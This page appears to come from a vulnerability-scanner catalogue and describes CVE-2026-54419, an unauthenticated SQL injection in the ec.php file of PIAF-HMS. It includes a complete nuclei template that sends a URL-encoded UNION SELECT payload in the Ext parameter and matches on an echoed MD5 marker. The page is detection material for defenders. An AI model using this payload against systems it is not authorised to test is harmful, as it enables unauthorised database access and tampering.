PIAF-HMS ec.php - SQL Injection

criticalseverity

9.8CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

claudiopizzillo PIAF-HMS (PBX-In-A-Flash Hotel Management System; no released versions, latest commit 389d2633441b65ced1c104212cd62be2bfca21e5) contains multiple unauthenticated SQL injection vulnerabilities. The application has no authentication mechanism and passes user-supplied HTTP parameters directly into deprecated mysql_query calls via string concatenation, without sanitization, escaping, or parameterization.

Impact

Remote attackers can read, modify, or delete arbitrary database records, potentially compromising the entire database.

Fix

Update to a version that properly sanitizes inputs and uses parameterized queries or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/ec.php?Checkin=2020-01-01&Checkout=2020-12-31&Ext=101-%25%27%20AND%201%3D0%20UNION%20SELECT%20MD5%28%27{{marker}}%27%29%2C%279123456%27%2…
Positive when: status_code == 200 and contains(body, md5(marker)) and contains_all(body, 'PIAF H.M.S.', 'Room bill')

Run it with nuclei: nuclei -id CVE-2026-54419 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-54419

info:
  name: PIAF-HMS ec.php - SQL Injection
  author: alex700
  severity: critical
  description: |
    claudiopizzillo PIAF-HMS (PBX-In-A-Flash Hotel Management System; no released versions, latest commit 389d2633441b65ced1c104212cd62be2bfca21e5) contains multiple unauthenticated SQL injection vulnerabilities. The application has no authentication mechanism and passes user-supplied HTTP parameters directly into deprecated mysql_query calls via string concatenation, without sanitization, escaping, or parameterization.
  impact: |
    Remote attackers can read, modify, or delete arbitrary database records, potentially compromising the entire database.
  remediation: |
    Update to a version that properly sanitizes inputs and uses parameterized queries or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-54419
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54419
    - https://github.com/claudiopizzillo/PIAF-HMS/blob/389d2633441b65ced1c104212cd62be2bfca21e5/ec.php#L57
  classification:
    cve-id: CVE-2026-54419
    epss-score: 0.0148
    epss-percentile: 0.74135
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: cve,cve2026,piaf-hms,sqli

variables:
  marker: "{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/ec.php?Checkin=2020-01-01&Checkout=2020-12-31&Ext=101-%25%27%20AND%201%3D0%20UNION%20SELECT%20MD5%28%27{{marker}}%27%29%2C%279123456%27%2C60%20--%20"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, md5(marker))"
          - "contains_all(body, 'PIAF H.M.S.', 'Room bill')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from